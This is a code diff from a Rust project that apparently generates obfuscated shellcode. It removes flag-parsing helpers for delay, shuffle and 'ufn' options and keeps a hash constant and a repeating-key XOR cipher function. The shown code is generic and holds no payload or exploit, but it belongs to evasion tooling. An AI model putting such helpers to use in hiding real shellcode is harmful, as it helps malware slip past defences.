|
edition = "2021"
|
||||||
|
|
@ -2,44 +2,8 @@
|
|||||||
|
|
||||||
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
|
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
|
||||||
|
|
||||||
const DELAY_FLAG: u32 = 0b0001;
|
|
||||||
const SHUFFLE_FLAG: u32 = 0b0010;
|
|
||||||
const UFN_FLAG: u32 = 0b0100;
|
|
||||||
|
|
||||||
const HASH_KEY: usize = 5381;
|
const HASH_KEY: usize = 5381;
|
||||||
|
|
||||||
pub struct Flags {
|
|
||||||
pub delay: bool,
|
|
||||||
pub shuffle: bool,
|
|
||||||
pub ufn: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn parse_u32_flag(flag: u32) -> Flags {
|
|
||||||
Flags {
|
|
||||||
delay: flag & DELAY_FLAG != 0,
|
|
||||||
shuffle: flag & SHUFFLE_FLAG != 0,
|
|
||||||
ufn: flag & UFN_FLAG != 0,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 {
|
|
||||||
let mut flags = 0;
|
|
||||||
|
|
||||||
if delay {
|
|
||||||
flags |= DELAY_FLAG;
|
|
||||||
}
|
|
||||||
|
|
||||||
if shuffle {
|
|
||||||
flags |= SHUFFLE_FLAG;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ufn {
|
|
||||||
flags |= UFN_FLAG;
|
|
||||||
}
|
|
||||||
|
|
||||||
flags
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
|
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
|
||||||
for (i, byte) in data.iter_mut().enumerate() {
|
for (i, byte) in data.iter_mut().enumerate() {
|
||||||
*byte ^= key[i % key.len()];
|
*byte ^= key[i % key.len()];
|
Loading…
Reference in New Issue
Block a user